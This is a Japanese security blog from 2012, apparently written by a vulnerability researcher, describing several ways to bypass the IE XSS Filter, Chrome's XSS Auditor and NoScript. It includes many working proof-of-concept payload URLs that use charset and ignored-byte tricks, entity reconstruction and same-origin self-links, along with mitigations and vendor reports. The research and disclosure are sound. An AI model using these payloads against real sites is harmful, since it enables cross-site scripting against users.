つい最近の思い付きなので、まだ改良の余地があるかと思います。
とりあえず、この例のように、読み出したい対象のフォーマットが決まっていて長さ・文字種もほどほどな場合は割と現実的な時間で読み出せるよね、ということを示してみました。これをXSSフィルター側で検知しようとするなら、 文字列リテラルを区切るような文字列のあとに、location とかlocation.* をインクリメント・デクリメントするような文字列が現れたら検知すればいいんでしょうかね。

はい!以上です。
IEのXSSフィルター、固いですが、誤検知との兼ね合いからどうしても小さな隙がありますね。そこをつつくのが面白いっす。

2012/09/25

ブラウザのXSS保護機能をバイパスする(3)

第3弾です。第1弾はこちら。第2弾はこちら

ターゲットはIEのXSSフィルターです。
今回のバイパスは、本来作成できてはならないjavascript:スキームのリンクをIEのXSSフィルターの挙動を利用して作成するという方法で行います。

いきなりですが、発見した方法はこれです。

http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3Djavascript%26.x3A%3Balert%26%28x28%3B1%26%29x29%3B//=%3Exxx

何がどうしてここにたどりついたのか、順に見ていきます。

IEは「<a href="javascript:alert(1)">xxx」のような文字列がクエリ文字列にあり、その文字列がページ中に出力されるなら、その出力の一部を書き換え、XSSを遮断しようとします。

http://vulnerabledoma.in/xssable?q=%3Ca%20href%3D%22javascript:alert%281%29%22%3Exxx
<a href="javasc#ipt:alert(1)">xxx

「javascript」の「r」を「#」に書き換えています。
小さくしていくと以下でも遮断されます。

 http://vulnerabledoma.in/xssable?q=javascript:1
 http://vulnerabledoma.in/xssable?q=javascript%26%23x3A%3B1
javasc#ipt:1
 「javascript」「コロン」「文字」というような組み合わせで遮断されるようです。

他の挙動も見ていきます。
IEは<script>タグの文字列リテラル中に出力されるようなXSSも遮断しようとします。

http://vulnerabledoma.in/xss_js?q=%22%3Balert(1)//
<script>var q="";alert#1#//"</script>
()が「#」に書き換えられています。
()が使えないなら、()を使わずに「";location.href='javascript:alert\x281\x29'//」とかでいけるんじゃないかと考えるのが我々XSSerです。

http://vulnerabledoma.in/xss_js?q=%22%3Blocation.href='javascript:alert\x281\x29'//
<script>var q="";lo#ation#href='javasc#ipt:alert\x281\x29'//"</script>

これもお見通しのようです。「location」の一部と、その後のドット、そして「javascript:」の部分が先ほどのように書き換えられています。

これを小さくしていくと、以下のようなものでも反応します。

http://vulnerabledoma.in/xss_js?q=%22%3Bx.x=
<script>var q="";x#x="</script>

「引用符」「区切り文字」「文字」「ドット」「文字」「=」というような組み合わせで、ドキュメント中の既存の<script>タグ内になんらかの代入を行おうとしているとみなされ、ドットが「#」に書き換えられるようです。
じゃあ「";&.x=」なんてのはどうなんでしょうか。

 http://vulnerabledoma.in/xss_js?q=%22%3B%26.x=
<script>var q="";&#x="</script>
これもドットを「#」にしています。「&#x」、おっと!何かが見えてきました!!

「&#x」という形が作れるということは、もし遮断後にaタグのhrefにこの形を配置できた場合、「&#x3A;」というような形も作れるということになります。
ボディになんの処理もなく出力されるXSSの場合に戻り、これを試してみます。

http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3D%22javascript%26.x3A%3Balert%281%29//=%22%3Exxx
"<a href="javascript&#x3A;alert#1#//=">xxx
おおお!javascript:という形のスキームを配置できてしまいました。
最初の「"」で区切っているフリをし、後半の「=」で代入しているフリをします。 これにより、<script>タグの文字列リテラル中の遮断ルールが発動するようにしています。

まだ()が遮断されて「#」になっているので、これらも同じようにそれぞれの()の前後に「&」「x28;/x29;」を配置して数値文字参照が現れるようにします。

 http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3Djavascript%26.x3A%3Balert%26%28x28%3B1%26%29x29%3B//=%3Exxx

"<a href="javascript&#x3A;alert&#x28;1&#x29;//=">xxx

ドカーン!

というかんじでたどりつきました。

ワンクリックで発動するリンクを作成できるようになるという点では、以前ブログに書いた同一オリジンからのリンクを作成してバイパスする方法と同等の問題にみえます。しかし、無害なものを有害なものに書き換えるという点で、以前のそれよりもタチが悪いものであると思います。

例えば以下は一応、XSSのない、ただの相対リンクが設定されただけの静的なページですが、

http://vulnerabledoma.in/ie_xssfilter.html
'<a href="javascript&.x3A;alert&(x28;1&)x29;//=">just a relative URL</a>

以下のようにURLに文字列を付加することで、XSSフィルターがjavascript:のURLに変化させてしまいます。

http://vulnerabledoma.in/ie_xssfilter.html?%27%3Ca%20href=%22javascript%26.x3A;alert%26%28x28;1%26%29x29;//=%22%3E
'<a href="javascript&#x3A;alert&#x28;1&#x29;//=">just a relative URL</a>

ただ、大抵の場合、保護すべきドメインの自由にリンクを設定できる箇所に「&」を何も手を加えず出力できるということは、「javascript&#x3A;alert(1)」というようなjavascriptを起動可能なURLを始めから設定できる可能性が高いことになる(=はじめからXSS脆弱性がある)ので、この方法によって新たにXSSが可能な穴をあけてしまうケースは、実際のところそう多くないのではないかと思います。

そうはいっても、遮断後に起きている誤りなので、明らかにXSSフィルターの欠陥であるといえます。しかも、トリッキーなものではなく、ごく普通にある脆弱パターンの遮断に失敗している点でよくありません。
改善を期待したいところです。

2012/03/10

ブラウザのXSS保護機能をバイパスする(2)

第2弾です。第1弾はこちら。今回はアプローチがちょっと違います。

無視されるバイトの利用

タグ中に挿入されても無視されるバイトというのがあります。有名なのはIEの「0x00」のスルー(<scr[0x00]ipt>alert(1)</sc[0x00]ript>が動いてしまう)ですが、他にもブラウザと文字エンコーディングによっては無視されるバイトがあります。今回はこれをXSS保護機能のバイパスに使用します。

2か月ほど前に、個人的に無視されるバイトを各ブラウザ・各文字エンコーディングごとに網羅的に調査してみました。んで、この結果を掲載しようと思ったんですが、自分用にまとめたもので汚いし、まだいろいろ調査中の部分もあるのでそれはもうちょっとあとにします。結構たくさんあります。

 IEのXSSフィルターをバイパスする

IEのXSSフィルターはさすがにIEが「0x00」を無視することを知っています。

 http://vulnerabledoma.in/xssable?xss=1&q=%3Cscr%00ipt%3Ealert%281%29%3C/script%3E


(追記 Blogger、「%00」って繋げて発言すると何故か「%00」が除去されてうまくリンクがはれないので、このURLだけリンクしてません…)

これは知っててくれないとXSSフィルターの意味がないよね…。
ただ全ての無視するバイトに対応している訳ではないようです。IEは「x-mac-korean」というcharset指定で、[0xC9]を無視することが個人的な調査でわかりました。これを利用して以下のようにすると、同様のページでバイパスができます。

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E

最初からHTMLに含まれているcharset指定をURLに含むことで、charset指定を挿入しているとみせかけ、XSSフィルターにタグを無効化させ、x-mac-koreanのcharset指定を新たに挿入して、x-mac-koreanで無視されるバイトをXSSフィルターが検出しそうな文字列の間に挟んで検出を回避しています。( なぜ<meta http-equiv="Content-Type" content="***">はブロックして<meta charset=***>はブロックしないんだろうか… )

この要領で様々なパターンが作れます。

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-chinesesimp%3E%3Ciframe%20sr%AAc=javas%AAcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-thai%3E%3Ciframe%20sr%7Fc=javas%7Fcript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-iscii-as%3E%3Ciframe%20sr%EF%40c=javas%EF%40cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E

....

まだまだあります。
あと、無視されるバイト使ってませんが、UTF-7を使う方法もうまくいきました。

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=utf-7%3E%2BADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E


対策

もちろんこのバイパス方法は、全くXSSの穴がないところにXSSフィルターが穴を作っている訳ではないので、普通のXSS対策ができていれば問題になりません。ただ、万が一XSSを作ってしまった時に、XSSフィルターにきちんと保護してもらうためにできることもあります。

もし、HTTPレスポンスヘッダでcharsetが指定されていればそっちが優先されるので、仮に本来のmetaタグのcharset指定がぶっ壊されてもこのバイパスはできなくなります。

http://vulnerabledoma.in/xssable?xss=1&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3&charset=utf-8

あるいは、ヘッダに「X-XSS-Protection:1; mode=block」を指定すれば、XSSフィルターが反応した時に画面に「#」が表示されるのみとなり、ページの部分的な変更がされなくなります。

http://vulnerabledoma.in/xssable?xss=2&q=%3Cmeta%20charset=x-mac-korean%3E%3Ciframe%20sr%C9c=javas%C9cript:alert%281%29%3E%3C/iframe%3E&%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html%3Bcharset=utf-8%22%3E
 

いずれXSSフィルター自体が改良されることを期待したいですね。



ちなみに、FirefoxのXSS保護などをしてくれるアドオンのNoScript、ChromeのXSS Auditorも同じような感じで抜けられました。既に両方報告済みで、NoScriptは2週間ほど前に対策されています。

http://noscript.net/changelog#2.3.2

NoScript開発者のGiorgio Maone氏は、僕が報告したその日のうちに修正したRC版をリリースしていました!素晴らしい対応であったことをここに書いておきたいと思います。

全然使われていないようなエンコーディングでもサポートしているだけでこうやって攻撃に応用できたりするので面白いですね。また何か見つけたら書きたいと思います。

2012/02/17

ブラウザのXSS保護機能をバイパスする

ChromeやSafariにはXSS Auditor、IE 8以上にはXSSフィルターという、XSSを検知してブロックする機能がそれぞれあります。
今回は、これを回避してみた記録です。

・Chromeでバイパス

はい!ついおととい報告したやつです!

XSS Auditor bypass with U+2028/2029
https://bugs.webkit.org/show_bug.cgi?id=78732


なぜかSafariではブロックされる(中の人も理由がわからないと言っていた)んだけど、Chromeでは動きます。以下で試してみてください。

 http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Cscript%3E//%E2%80%A8alert(1)%3C/script%3E

 http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Cscript%3E//%E2%80%A9alert(1)%3C/script%3E


JavaScriptのコメントがあるだけのスクリプトタグが挿入されても無害なので、「<script>//this is comment</script>」とかがURL中に含まれ、かつHTML内に挿入されてもXSS Auditorはこれに変更を加えずにスルーするようです。(別に特別スルーしなくてもいい気がするんだけど、無駄な検知をしたくないからかな

そんな中、U+2028/2029がJavaScript中で改行扱いになるのを考慮し忘れて、コメントアウトが続いてるものとみなしてこれまでスルーしてしまったかんじですね。非常にシンプル。

・IEでバイパス

IE8/9のXSSフィルターは、誤検知を減らすためにか、同じオリジンから同じオリジンへのページの移動は、通常ならばブロックするような、XSSと疑わしいリクエストであっても通過させるようです。Michael Brooks氏の以下の資料が参考になります。

 [PDF] Bypassing Internet Explorer's XSS Filter
 http://www.exploit-db.com/download_pdf/17875/


この資料によれば、同一オリジンにオープンリダイレクタか、自由にリンクを記述できるような機能があるなどすればXSSフィルターをバイパスできるとあります。

が、それってわざわざ探さなくても、資料の例のような典型的なrefrected XSSがあるのなら、自分自身をリンクにすればいいのではないか、というのが今これから書きたいことです。つまりこういうことです:

まず、XSSフィルターが有効な状態でこのページから以下のスクリプトが挿入されたリンクへアクセスすると、http://masatokinugawa.l0.cm/ から  http://vulnerabledoma.in/ へのアクセスになるので、XSSフィルターはきちんとブロックしてくれます。

http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Cscript%3Ealert%281%29%3C/script%3E

じゃあ、このXSSに脆弱な箇所自身に上のスクリプトを挿入したリンクを作ってみます。

http://vulnerabledoma.in/char_test?charset=utf-8&xss=1&body=%3Ca%20style=font-size:10in%3bposition:absolute%3btop:0%3bleft:0%20href=%22http://vulnerabledoma.in/char_test%3Fcharset%3Dutf-8%26xss%3D1%26body%3D%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E%22%3EXSS%3C/a%3E

URL内に、aタグがあっても、文字を大きくするなどのスタイルを設定しても、またスクリプトタグを2重にパーセントエンコードしたものを挿入しても、IEのXSSフィルターは許容するようです。リンク先のリンクをクリックすると、 スクリプトが動作するはずです。 なぜならこれは http://vulnerabledoma.in/ から http://vulnerabledoma.in/ へのアクセスとなるからです。これでonclickイベントに任意のスクリプトを仕込めるのと同等のXSS攻撃が成立することになります。やったぜ!


はい、こんな具合にXSS保護機能はユーザーを確実にXSSから保護してくれる訳ではありません。
これからも改良はされていくと思いますが、ブラウザの保護を過信せずにきちんとXSS対策しましょう!おわり!


追記

さっきもう1個思いついた!

XSSAuditor bypass with <svg> tags and html-entities.
https://bugs.webkit.org/show_bug.cgi?id=78836


追記2
IEのバイパス方法は既に書いておられる方がいたようです。 Thanks @80vul !

IE XSS Filter Bypass_ccSec  |  [email protected]_百度空间
http://hi.baidu.com/_ccsec/blog/item/d878e609a8360bfa37d12223.html